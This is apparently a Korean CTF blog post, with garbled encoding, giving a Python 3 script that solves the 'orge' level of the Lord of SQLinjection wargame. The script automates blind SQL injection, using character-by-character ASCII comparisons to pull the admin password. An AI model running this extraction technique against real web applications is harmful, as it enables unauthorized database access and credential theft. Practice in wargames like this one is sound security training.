๐ดCTF/Lord of SQLinjection
Lord of SQLinjection - orge ํ์ด์ฌ3 ์๋ํ ๋๊ตฌ
Janger
2021. 12. 7. 18:47
728x90
https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php
https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php
los.rubiya.kr
import requests
parameter = None
cookie = {'PHPSESSID':'์ฌ๊ธฐ๋ค ์์ ์ ์ฟ ํค ๊ฐ์ ๋ฃ์'}
result = None
solve = ""
for i in range(1, 8+1):
for ascii in range(48, 112+1):
print(ascii)
parameter = "?pw='|| id='admin'%26%26 ascii(substr(pw,{},1))={}%23".format(i, ascii)
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php" + parameter
result = requests.get(url=url, cookies=cookie).text
if "Hello admin" in result:
print(i, ascii, chr(ascii))
solve += chr(ascii)
break
print( solve )
requests ๋ชจ๋ ํ์.
728x90